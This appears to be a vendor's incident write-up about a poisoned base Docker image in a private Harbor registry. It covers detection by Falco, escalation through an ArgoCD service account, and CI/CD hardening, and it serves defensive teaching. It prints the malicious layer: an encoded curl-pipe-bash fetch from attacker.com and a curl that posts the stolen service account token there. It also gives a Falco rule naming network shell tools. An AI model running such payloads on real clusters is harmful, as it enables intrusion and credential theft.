Compromise of a base Docker image in a private Harbor registry. The attacker injected a malicious layer with a reverse shell + K8s service account token theft. The image passed CI/CD and was deployed to prod. Runtime detection (Falco) caught the anomaly within 3 minutes. Forensics, remediation, full CI/CD hardening.
3 minTime to Detect
1 malicious layerIn Base Image
Cluster AdminEscalation Path
0 data lossContained
1. How they got in: Compromised Dev → Harbor Write
The developer fell for phishing (GitLab credentials). The account had a Developer role in the Harbor project — which allows push to images. The attacker pushed a new tag base/ubuntu:22.04-malicious onto the existing base image using docker manifest manipulation (layer injection).
Malicious layer (#47 of 47):
dockerfile
# Malicious layer content (extracted via dive)
RUN echo 'IyEvYmluL2Jhc2gKY3VybCAtcyBhdHRhY2tlci5jb20vc2hlbGwuc2ggfCBiYXNoCg==' | base64 -d | bash
# Decoded: curl -s attacker.com/shell.sh | bash
# + Service Account Token Theft
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -X POST attacker.com/steal -d "token=$TOKEN&ns=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)"
2. CI/CD Pipeline — why did it pass?
GitLab CI used docker pull base/ubuntu:22.04 without verifying digest/hash. ArgoCD deployed by the latest tag. Image signing (Cosign) was not configured. Admission Controller (Kyverno/OPA) was absent. Result: the malicious image reached prod through a legitimate pipeline.
🔓
No Image Signing
Cosign/Notary not configured. Any push to Harbor = trusted
🚫
No Admission Control
Kyverno/OPA Gatekeeper missing. No checks for digest, SBOM, vulnerabilities
🏷
Mutable Tags
latest gets overwritten. No immutable digest pinning in deployment.yaml
3. Runtime Detection — Falco caught it in 3 min
The Falco rule Terminal shell in container fired on bash -c curl ... | bash. Additionally, the K8s Service Account Token Access rule detected reading /var/run/secrets/kubernetes.io/serviceaccount/token by a non-standard process.
yaml
- rule: Suspicious Shell with Network in Container
desc: Detect shell spawning with network connection
condition: |
container and proc.name in (bash, sh, zsh) and
fd.net and
proc.cmdline contains "curl|wget|nc|socat"
output: |
Shell with network in container (user=%user.name container=%container.id image=%container.image.repository)
priority: CRITICAL
tags: [mitre_execution, mitre_command_and_control]
The alert went to Slack + PagerDuty. The SOC isolated the pod: kubectl cordon node-X; kubectl delete pod malicious-pod --grace-period=0 --force.
4. Escalation: Token → Cluster Admin
The stolen SA token belonged to argocd-application-controller in the argocd namespace. This SA had a ClusterRole with impersonate on system:masters (ArgoCD requires it for sync). The attacker ran kubectl --as=system:admin ... → Cluster Admin.
Harbor Hardening — RBAC: Dev = read only, CI Bot = push (short-lived tokens),_scan on push (Trivy)
ArgoCD SA Least Privilege — removed impersonate, restricted namespace-scoped permissions
Falco Rules Tuning — added custom rules for SA token access, unexpected processes, network anomalies
GitLab MFA + Conditional Access — mandatory 2FA, block push without signed commits
6. Lessons Learned
Supply Chain = Registry + CI/CD + Admission + RuntimeMutable tags (latest) are evil. Only immutable digests (sha256:...)Cosign keyless (OIDC) — simple and free. No excuse not to signService Account Token is the cluster password. Limit automountServiceAccountTokenArgoCD / Flux / Jenkins SA — frequent targets. Audit their RBAC quarterlyFalco without custom rules = noise. Tune it for your stack
Worried about your K8s Supply Chain?
Audit of Registry, CI/CD, Admission Controllers, Runtime (Falco), RBAC, Network Policies. Cosign, Kyverno, OPA, Trivy, SBOM. Report with PoC and a hardening plan.